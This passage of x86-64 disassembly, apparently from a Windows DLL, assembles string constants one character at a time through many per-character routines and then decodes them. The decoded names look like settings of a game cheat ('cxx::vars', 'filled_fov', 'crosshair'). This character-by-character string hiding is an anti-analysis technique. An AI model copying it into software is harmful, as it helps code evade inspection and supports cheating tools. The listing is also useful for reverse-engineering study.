movups xmmword [rsp + 0x1688], xmm0
mov dword [rsp + 0x1698], eax
mov byte [rsp + 0x169c], al
mov cl, 0x63
call fcn.1800bff50
mov byte [rsp + 0x9a8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff50
mov byte [rsp + 0x9a9], al
mov cl, 0x78
call fcn.1800bff50
mov byte [rsp + 0x9aa], al
mov cl, 0x3a
call fcn.1800bff50
mov byte [rsp + 0x9ab], al
mov cl, 0x3a
call fcn.1800bff50
mov byte [rsp + 0x9ac], al
mov cl, 0x76
call fcn.1800bff50
mov byte [rsp + 0x9ad], al
mov cl, 0x61
call fcn.1800bff50
mov byte [rsp + 0x9ae], al
mov cl, WSAStartup
call fcn.1800bff50
mov byte [rsp + 0x9af], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff50
mov byte [rsp + 0x9b0], al
mov cl, 0x3a
call fcn.1800bff50
mov byte [rsp + 0x9b1], al
mov cl, 0x3a
call fcn.1800bff50
mov byte [rsp + 0x9b2], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff50
mov byte [rsp + 0x9b3], al
mov cl, 0x6d
call fcn.1800bff50
mov byte [rsp + 0x9b4], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff50
mov byte [rsp + 0x9b5], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff50
mov byte [rsp + 0x9b6], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff50
mov byte [rsp + 0x9b7], al
mov cl, 0x68
call fcn.1800bff50
mov byte [rsp + 0x9b8], al
mov cl, 0x69
call fcn.1800bff50
mov byte [rsp + 0x9b9], al
mov cl, WSAGetLastError
call fcn.1800bff50
mov byte [rsp + 0x9ba], al
mov cl, 0x67
call fcn.1800bff50
mov byte [rsp + 0x9bb], al
xor ecx, ecx
call fcn.1800bff50
mov byte [rsp + 0x9bc], al
movups xmm0, xmmword [rsp + 0x9a8]
movups xmmword [rsp + 0x1688], xmm0
mov ecx, dword [rsp + 0x9b8]
mov dword [rsp + 0x1698], ecx
mov byte [rsp + 0x169c], al
lea rax, [rsp + 0x1688]
mov qword [rsp + 0x49e8], rax
lea rcx, [rsp + 0x38d0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rsp + 0x38d0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1290], esi
cmp esi, 0x15
jge 0x18007d988
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1688]
call fcn.1800c0a50
movzx ecx, byte [rax]
call fcn.1800bff50
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x38d0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1290], esi
jmp 0x18007d948
lea rcx, [rsp + 0x38d0]
call fcn.18000ce90
mov qword [rsp + 0x24b8], rax
lea r8, [0x1801eae80]
lea rdx, [rsp + 0x24b8]
lea rcx, [rsp + 0x5ec0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1848], xmm0
mov qword [rsp + 0x1858], rax
mov word [rsp + 0x1860], ax
mov byte [rsp + 0x1862], al
mov cl, 0x63
call fcn.1800bfdc0
mov byte [rsp + 0x6e0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfdc0
mov byte [rsp + 0x6e1], al
mov cl, 0x78
call fcn.1800bfdc0
mov byte [rsp + 0x6e2], al
mov cl, 0x3a
call fcn.1800bfdc0
mov byte [rsp + 0x6e3], al
mov cl, 0x3a
call fcn.1800bfdc0
mov byte [rsp + 0x6e4], al
mov cl, 0x76
call fcn.1800bfdc0
mov byte [rsp + 0x6e5], al
mov cl, 0x61
call fcn.1800bfdc0
mov byte [rsp + 0x6e6], al
mov cl, WSAStartup
call fcn.1800bfdc0
mov byte [rsp + 0x6e7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfdc0
mov byte [rsp + 0x6e8], al
mov cl, 0x3a
call fcn.1800bfdc0
mov byte [rsp + 0x6e9], al
mov cl, 0x3a
call fcn.1800bfdc0
mov byte [rsp + 0x6ea], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfdc0
mov byte [rsp + 0x6eb], al
mov cl, 0x6d
call fcn.1800bfdc0
mov byte [rsp + 0x6ec], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfdc0
mov byte [rsp + 0x6ed], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfdc0
mov byte [rsp + 0x6ee], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfdc0
mov byte [rsp + 0x6ef], al
mov cl, 0x68
call fcn.1800bfdc0
mov byte [rsp + 0x6f0], al
mov cl, 0x5f
call fcn.1800bfdc0
mov byte [rsp + 0x6f1], al
mov cl, 0x76
call fcn.1800bfdc0
mov byte [rsp + 0x6f2], al
mov cl, 0x65
call fcn.1800bfdc0
mov byte [rsp + 0x6f3], al
mov cl, WSAStartup
call fcn.1800bfdc0
mov byte [rsp + 0x6f4], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfdc0
mov byte [rsp + 0x6f5], al
mov cl, 0x69
call fcn.1800bfdc0
mov byte [rsp + 0x6f6], al
mov cl, 0x63
call fcn.1800bfdc0
mov byte [rsp + 0x6f7], al
mov cl, 0x61
call fcn.1800bfdc0
mov byte [rsp + 0x6f8], al
mov cl, 0x6c
call fcn.1800bfdc0
mov byte [rsp + 0x6f9], al
xor ecx, ecx
call fcn.1800bfdc0
mov byte [rsp + 0x6fa], al
movups xmm0, xmmword [rsp + 0x6e0]
movups xmmword [rsp + 0x1848], xmm0
movsd xmm1, qword [rsp + 0x6f0]
movsd qword [rsp + 0x1858], xmm1
movzx ecx, word [rsp + 0x6f8]
mov word [rsp + 0x1860], cx
mov byte [rsp + 0x1862], al
lea rax, [rsp + 0x1848]
mov qword [rsp + 0x49f0], rax
lea rcx, [rsp + 0x38b0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1b]
lea rcx, [rsp + 0x38b0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x128c], esi
nop word [rax + rax]
cmp esi, 0x1b
jge 0x18007dc10
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1848]
call fcn.1800c0a10
movzx ecx, byte [rax]
call fcn.1800bfdc0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x38b0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x128c], esi
jmp 0x18007dbd0
lea rcx, [rsp + 0x38b0]
call fcn.18000ce90
mov qword [rsp + 0x24b0], rax
lea r8, [0x1801d1ae4]
lea rdx, [rsp + 0x24b0]
lea rcx, [rsp + 0x5ef0]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1a90], xmm0
mov qword [rsp + 0x1aa0], rax
mov dword [rsp + 0x1aa8], eax
mov byte [rsp + 0x1aac], al
mov cl, 0x63
call fcn.1800bfd40
mov byte [rsp + 0x878], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfd40
mov byte [rsp + 0x879], al
mov cl, 0x78
call fcn.1800bfd40
mov byte [rsp + 0x87a], al
mov cl, 0x3a
call fcn.1800bfd40
mov byte [rsp + 0x87b], al
mov cl, 0x3a
call fcn.1800bfd40
mov byte [rsp + 0x87c], al
mov cl, 0x76
call fcn.1800bfd40
mov byte [rsp + 0x87d], al
mov cl, 0x61
call fcn.1800bfd40
mov byte [rsp + 0x87e], al
mov cl, WSAStartup
call fcn.1800bfd40
mov byte [rsp + 0x87f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfd40
mov byte [rsp + 0x880], al
mov cl, 0x3a
call fcn.1800bfd40
mov byte [rsp + 0x881], al
mov cl, 0x3a
call fcn.1800bfd40
mov byte [rsp + 0x882], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfd40
mov byte [rsp + 0x883], al
mov cl, 0x6d
call fcn.1800bfd40
mov byte [rsp + 0x884], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfd40
mov byte [rsp + 0x885], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfd40
mov byte [rsp + 0x886], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfd40
mov byte [rsp + 0x887], al
mov cl, 0x68
call fcn.1800bfd40
mov byte [rsp + 0x888], al
mov cl, 0x5f
call fcn.1800bfd40
mov byte [rsp + 0x889], al
mov cl, 0x68
call fcn.1800bfd40
mov byte [rsp + 0x88a], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfd40
mov byte [rsp + 0x88b], al
mov cl, WSAStartup
call fcn.1800bfd40
mov byte [rsp + 0x88c], al
mov cl, 0x69
call fcn.1800bfd40
mov byte [rsp + 0x88d], al
mov cl, 0x7a
call fcn.1800bfd40
mov byte [rsp + 0x88e], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfd40
mov byte [rsp + 0x88f], al
mov cl, WSAGetLastError
call fcn.1800bfd40
mov byte [rsp + 0x890], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfd40
mov byte [rsp + 0x891], al
mov cl, 0x61
call fcn.1800bfd40
mov byte [rsp + 0x892], al
mov cl, 0x6c
call fcn.1800bfd40
mov byte [rsp + 0x893], al
xor ecx, ecx
call fcn.1800bfd40
mov byte [rsp + 0x894], al
movups xmm0, xmmword [rsp + 0x878]
movups xmmword [rsp + 0x1a90], xmm0
movsd xmm1, qword [rsp + 0x888]
movsd qword [rsp + 0x1aa0], xmm1
mov ecx, dword [rsp + 0x890]
mov dword [rsp + 0x1aa8], ecx
mov byte [rsp + 0x1aac], al
lea rax, [rsp + 0x1a90]
mov qword [rsp + 0x49f8], rax
lea rcx, [rsp + 0x3890]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1d]
lea rcx, [rsp + 0x3890]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1288], esi
nop dword [rax + rax]
cmp esi, 0x1d
jge 0x18007deb0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1a90]
call fcn.1800c0310
movzx ecx, byte [rax]
call fcn.1800bfd40
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3890]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1288], esi
jmp 0x18007de70
lea rcx, [rsp + 0x3890]
call fcn.18000ce90
mov qword [rsp + 0x24a8], rax
lea r8, [0x1801d1ab0]
lea rdx, [rsp + 0x24a8]
lea rcx, [rsp + 0x5f20]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1880], xmm0
mov dword [rsp + 0x1890], eax
mov word [rsp + 0x1894], ax
mov cl, 0x63
call fcn.1800bff40
mov byte [rsp + 0x98], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff40
mov byte [rsp + 0x99], al
mov cl, 0x78
call fcn.1800bff40
mov byte [rsp + 0x9a], al
mov cl, 0x3a
call fcn.1800bff40
mov byte [rsp + 0x9b], al
mov cl, 0x3a
call fcn.1800bff40
mov byte [rsp + 0x9c], al
mov cl, 0x76
call fcn.1800bff40
mov byte [rsp + 0x9d], al
mov cl, 0x61
call fcn.1800bff40
mov byte [rsp + 0x9e], al
mov cl, WSAStartup
call fcn.1800bff40
mov byte [rsp + 0x9f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff40
mov byte [rsp + 0xa0], al
mov cl, 0x3a
call fcn.1800bff40
mov byte [rsp + 0xa1], al
mov cl, 0x3a
call fcn.1800bff40
mov byte [rsp + 0xa2], al
mov cl, 0x66
call fcn.1800bff40
mov byte [rsp + 0xa3], al
mov cl, 0x69
call fcn.1800bff40
mov byte [rsp + 0xa4], al
mov cl, 0x6c
call fcn.1800bff40
mov byte [rsp + 0xa5], al
mov cl, 0x6c
call fcn.1800bff40
mov byte [rsp + 0xa6], al
mov cl, 0x65
call fcn.1800bff40
mov byte [rsp + 0xa7], al
mov cl, 0x64
call fcn.1800bff40
mov byte [rsp + 0xa8], al
mov cl, 0x5f
call fcn.1800bff40
mov byte [rsp + 0xa9], al
mov cl, 0x66
call fcn.1800bff40
mov byte [rsp + 0xaa], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff40
mov byte [rsp + 0xab], al
mov cl, 0x76
call fcn.1800bff40
mov byte [rsp + 0xac], al
xor ecx, ecx
call fcn.1800bff40
mov byte [rsp + 0xad], al
movups xmm0, xmmword [rsp + 0x98]
movups xmmword [rsp + 0x1880], xmm0
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x1890], eax
movzx eax, word [rsp + 0xac]
mov word [rsp + 0x1894], ax
lea rax, [rsp + 0x1880]
mov qword [rsp + 0x4a00], rax
lea rcx, [rsp + 0x3870]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x3870]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1284], esi
nop dword [rax]
cmp esi, 0x16
jge 0x18007e0e0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1880]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bff40
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3870]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1284], esi
jmp 0x18007e0a0
lea rcx, [rsp + 0x3870]
call fcn.18000ce90
mov qword [rsp + 0x24a0], rax
lea r8, [0x1801eae69]
lea rdx, [rsp + 0x24a0]
lea rcx, [rsp + 0x5f50]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1598], xmm0
mov dword [rsp + 0x15a8], eax
mov word [rsp + 0x15ac], ax
mov byte [rsp + 0x15ae], al
mov cl, 0x63
call fcn.1800bfde0
mov byte [rsp + 0x330], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfde0
mov byte [rsp + 0x331], al
mov cl, 0x78
call fcn.1800bfde0
mov byte [rsp + 0x332], al
mov cl, 0x3a
call fcn.1800bfde0
mov byte [rsp + 0x333], al
mov cl, 0x3a
call fcn.1800bfde0
mov byte [rsp + 0x334], al
mov cl, 0x76
call fcn.1800bfde0
mov byte [rsp + 0x335], al
mov cl, 0x61
call fcn.1800bfde0
mov byte [rsp + 0x336], al
mov cl, WSAStartup
call fcn.1800bfde0
mov byte [rsp + 0x337], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfde0
mov byte [rsp + 0x338], al
mov cl, 0x3a
call fcn.1800bfde0
mov byte [rsp + 0x339], al
mov cl, 0x3a
call fcn.1800bfde0
mov byte [rsp + 0x33a], al
mov cl, 0x63
call fcn.1800bfde0
mov byte [rsp + 0x33b], al
mov cl, 0x5f
call fcn.1800bfde0
mov byte [rsp + 0x33c], al
mov cl, 0x77
call fcn.1800bfde0
mov byte [rsp + 0x33d], al
mov cl, 0x61
call fcn.1800bfde0
mov byte [rsp + 0x33e], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfde0
mov byte [rsp + 0x33f], al
mov cl, 0x65
call fcn.1800bfde0
mov byte [rsp + 0x340], al
mov cl, WSAStartup
call fcn.1800bfde0
mov byte [rsp + 0x341], al
mov cl, 0x6d
call fcn.1800bfde0
mov byte [rsp + 0x342], al
mov cl, 0x61
call fcn.1800bfde0
mov byte [rsp + 0x343], al
mov cl, WSAStartup
call fcn.1800bfde0
mov byte [rsp + 0x344], al
mov cl, 0x6b
call fcn.1800bfde0
mov byte [rsp + 0x345], al
xor ecx, ecx
call fcn.1800bfde0
mov byte [rsp + 0x346], al
movups xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x1598], xmm0
mov ecx, dword [rsp + 0x340]
mov dword [rsp + 0x15a8], ecx
movzx ecx, word [rsp + 0x344]
mov word [rsp + 0x15ac], cx
mov byte [rsp + 0x15ae], al
lea rax, [rsp + 0x1598]
mov qword [rsp + 0x4a08], rax
lea rcx, [rsp + 0x3850]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x3850]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1280], esi
cmp esi, 0x17
jge 0x18007e325
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1598]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800bfde0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3850]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1280], esi
jmp 0x18007e2e5
lea rcx, [rsp + 0x3850]
call fcn.18000ce90
mov qword [rsp + 0x2498], rax
lea r8, [0x1801d1033]
lea rdx, [rsp + 0x2498]
lea rcx, [rsp + 0x5f80]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x16a0], xmm0
mov dword [rsp + 0x16b0], eax
mov byte [rsp + 0x16b4], al
mov cl, 0x63
call fcn.1800bfe40
mov byte [rsp + 0x948], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe40
mov byte [rsp + 0x949], al
mov cl, 0x78
call fcn.1800bfe40
mov byte [rsp + 0x94a], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x94b], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x94c], al
mov cl, 0x76
call fcn.1800bfe40
mov byte [rsp + 0x94d], al
mov cl, 0x61
call fcn.1800bfe40
mov byte [rsp + 0x94e], al
mov cl, WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x94f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x950], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x951], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x952], al
mov cl, 0x63
call fcn.1800bfe40
mov byte [rsp + 0x953], al
mov cl, WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x954], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe40
mov byte [rsp + 0x955], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x956], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x957], al
mov cl, 0x68
call fcn.1800bfe40
mov byte [rsp + 0x958], al
mov cl, 0x61
call fcn.1800bfe40
mov byte [rsp + 0x959], al
mov cl, 0x69
call fcn.1800bfe40
mov byte [rsp + 0x95a], al
mov cl, WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x95b], al
xor ecx, ecx
call fcn.1800bfe40
mov byte [rsp + 0x95c], al
movups xmm0, xmmword [rsp + 0x948]
movups xmmword [rsp + 0x16a0], xmm0
mov ecx, dword [rsp + 0x958]
mov dword [rsp + 0x16b0], ecx
mov byte [rsp + 0x16b4], al
lea rax, [rsp + 0x16a0]
mov qword [rsp + 0x4a10], rax
lea rcx, [rsp + 0x3830]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rsp + 0x3830]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1278], esi
cmp esi, 0x15
jge 0x18007e536
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x16a0]
call fcn.1800c0a50
movzx ecx, byte [rax]
call fcn.1800bfe40
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3830]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1278], esi
jmp 0x18007e4f6
lea rcx, [rsp + 0x3830]
call fcn.18000ce90
mov qword [rsp + 0x2490], rax
lea r8, [0x1801eaecb]
lea rdx, [rsp + 0x2490]
lea rcx, [rsp + 0x5fb0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x19b8], xmm0
mov byte [rsp + 0x19c8], al
mov cl, 0x63
call fcn.1800bfcd0
mov byte [rsp + 0xe00], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfcd0
mov byte [rsp + 0xe01], al
mov cl, 0x78
call fcn.1800bfcd0
mov byte [rsp + 0xe02], al
mov cl, 0x3a
call fcn.1800bfcd0
mov byte [rsp + 0xe03], al
mov cl, 0x3a
call fcn.1800bfcd0
mov byte [rsp + 0xe04], al
mov cl, 0x76
call fcn.1800bfcd0
mov byte [rsp + 0xe05], al
mov cl, 0x61
call fcn.1800bfcd0
mov byte [rsp + 0xe06], al
mov cl, WSAStartup
call fcn.1800bfcd0
mov byte [rsp + 0xe07], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfcd0
mov byte [rsp + 0xe08], al
mov cl, 0x3a
call fcn.1800bfcd0
mov byte [rsp + 0xe09], al
mov cl, 0x3a
call fcn.1800bfcd0
mov byte [rsp + 0xe0a], al
mov cl, 0x63
call fcn.1800bfcd0
mov byte [rsp + 0xe0b], al
mov cl, 0x5f
call fcn.1800bfcd0
mov byte [rsp + 0xe0c], al
mov cl, 0x67
call fcn.1800bfcd0
mov byte [rsp + 0xe0d], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfcd0
mov byte [rsp + 0xe0e], al
mov cl, 0x64
call fcn.1800bfcd0
mov byte [rsp + 0xe0f], al
xor ecx, ecx
call fcn.1800bfcd0
mov byte [rsp + 0xe10], al
movups xmm0, xmmword [rsp + 0xe00]
movups xmmword [rsp + 0x19b8], xmm0
mov byte [rsp + 0x19c8], al
lea rax, [rsp + 0x19b8]
mov qword [rsp + 0x4a18], rax
lea rcx, [rsp + 0x3810]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x11]
lea rcx, [rsp + 0x3810]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1274], esi
nop word [rax + rax]
cmp esi, 0x11
jge 0x18007e700
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x19b8]
call fcn.1800c0c60
movzx ecx, byte [rax]
call fcn.1800bfcd0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3810]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1274], esi
jmp 0x18007e6c0
lea rcx, [rsp + 0x3810]
call fcn.18000ce90
mov qword [rsp + 0x2488], rax
lea r8, [0x1801eaea9]
lea rdx, [rsp + 0x2488]
lea rcx, [rsp + 0x5fe0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1898], xmm0
mov dword [rsp + 0x18a8], eax
mov word [rsp + 0x18ac], ax
mov cl, 0x63
call fcn.1800bff30
mov byte [rsp + 0x188], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff30
mov byte [rsp + 0x189], al
mov cl, 0x78
call fcn.1800bff30
mov byte [rsp + 0x18a], al
mov cl, 0x3a
call fcn.1800bff30
mov byte [rsp + 0x18b], al
mov cl, 0x3a
call fcn.1800bff30
mov byte [rsp + 0x18c], al
mov cl, 0x76
call fcn.1800bff30
mov byte [rsp + 0x18d], al
mov cl, 0x61
call fcn.1800bff30
mov byte [rsp + 0x18e], al
mov cl, WSAStartup
call fcn.1800bff30
mov byte [rsp + 0x18f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff30
mov byte [rsp + 0x190], al
mov cl, 0x3a
call fcn.1800bff30
mov byte [rsp + 0x191], al
mov cl, 0x3a
call fcn.1800bff30
mov byte [rsp + 0x192], al
mov cl, WSAGetLastError
call fcn.1800bff30
mov byte [rsp + 0x193], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff30
mov byte [rsp + 0x194], al
mov cl, 0x5f
call fcn.1800bff30
mov byte [rsp + 0x195], al
mov cl, WSAStartup
call fcn.1800bff30
mov byte [rsp + 0x196], al
mov cl, 0x61
call fcn.1800bff30
mov byte [rsp + 0x197], al
mov cl, 0x67
call fcn.1800bff30
mov byte [rsp + 0x198], al
mov cl, 0x64
call fcn.1800bff30
mov byte [rsp + 0x199], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff30
mov byte [rsp + 0x19a], al
mov cl, 0x6c
call fcn.1800bff30
mov byte [rsp + 0x19b], al
mov cl, 0x6c
call fcn.1800bff30
mov byte [rsp + 0x19c], al
xor ecx, ecx
call fcn.1800bff30
mov byte [rsp + 0x19d], al
movups xmm0, xmmword [rsp + 0x188]
movups xmmword [rsp + 0x1898], xmm0
mov eax, dword [rsp + 0x198]
mov dword [rsp + 0x18a8], eax
movzx eax, word [rsp + 0x19c]
mov word [rsp + 0x18ac], ax
lea rax, [rsp + 0x1898]
mov qword [rsp + 0x4a20], rax
lea rcx, [rsp + 0x37f0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x37f0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1270], esi
nop dword [rax]
cmp esi, 0x16
jge 0x18007e930
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1898]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bff30
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x37f0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1270], esi
jmp 0x18007e8f0
lea rcx, [rsp + 0x37f0]
call fcn.18000ce90
mov qword [rsp + 0x2480], rax
lea r8, [0x1801eaebc]
lea rdx, [rsp + 0x2480]
lea rcx, [rsp + 0x6010]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x18b0], xmm0
mov dword [rsp + 0x18c0], eax
mov word [rsp + 0x18c4], ax
mov cl, 0x63
call fcn.1800bfd90
mov byte [rsp + 0x170], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfd90
mov byte [rsp + 0x171], al
mov cl, 0x78
call fcn.1800bfd90
mov byte [rsp + 0x172], al
mov cl, 0x3a
call fcn.1800bfd90
mov byte [rsp + 0x173], al
mov cl, 0x3a
call fcn.1800bfd90
mov byte [rsp + 0x174], al
mov cl, 0x76
call fcn.1800bfd90
mov byte [rsp + 0x175], al
mov cl, 0x61
call fcn.1800bfd90
mov byte [rsp + 0x176], al
mov cl, WSAStartup
call fcn.1800bfd90
mov byte [rsp + 0x177], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfd90
mov byte [rsp + 0x178], al
mov cl, 0x3a
call fcn.1800bfd90
mov byte [rsp + 0x179], al
mov cl, 0x3a
call fcn.1800bfd90
mov byte [rsp + 0x17a], al
mov cl, 0x63
call fcn.1800bfd90
mov byte [rsp + 0x17b], al
mov cl, 0x5f
call fcn.1800bfd90
mov byte [rsp + 0x17c], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfd90
mov byte [rsp + 0x17d], al
mov cl, 0x65
call fcn.1800bfd90
mov byte [rsp + 0x17e], al
mov cl, 0x6d
call fcn.1800bfd90
mov byte [rsp + 0x17f], al
mov cl, 0x69
call fcn.1800bfd90
mov byte [rsp + 0x180], al
mov cl, 0x5f
call fcn.1800bfd90
mov byte [rsp + 0x181], al
mov cl, 0x67
call fcn.1800bfd90
mov byte [rsp + 0x182], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfd90
mov byte [rsp + 0x183], al
mov cl, 0x64
call fcn.1800bfd90
mov byte [rsp + 0x184], al
xor ecx, ecx
call fcn.1800bfd90
mov byte [rsp + 0x185], al
movups xmm0, xmmword [rsp + 0x170]
movups xmmword [rsp + 0x18b0], xmm0
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x18c0], eax
movzx eax, word [rsp + 0x184]
mov word [rsp + 0x18c4], ax
lea rax, [rsp + 0x18b0]
mov qword [rsp + 0x4a28], rax
lea rcx, [rsp + 0x37d0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x37d0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x126c], esi
nop dword [rax]
cmp esi, 0x16
jge 0x18007eb60
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x18b0]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bfd90
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x37d0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x126c], esi
jmp 0x18007eb20
lea rcx, [rsp + 0x37d0]
call fcn.18000ce90
mov qword [rsp + 0x2478], rax
lea r8, [0x1801eaeba]
lea rdx, [rsp + 0x2478]
lea rcx, [rsp + 0x6040]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x22e8], xmm0
mov qword [rsp + 0x22f8], rax
mov cl, 0x63
call fcn.1800bfe20
mov byte [rsp + 0xa68], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0xa69], al
mov cl, 0x78
call fcn.1800bfe20
mov byte [rsp + 0xa6a], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0xa6b], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0xa6c], al
mov cl, 0x76
call fcn.1800bfe20
mov byte [rsp + 0xa6d], al
mov cl, 0x61
call fcn.1800bfe20
mov byte [rsp + 0xa6e], al
mov cl, WSAStartup
call fcn.1800bfe20
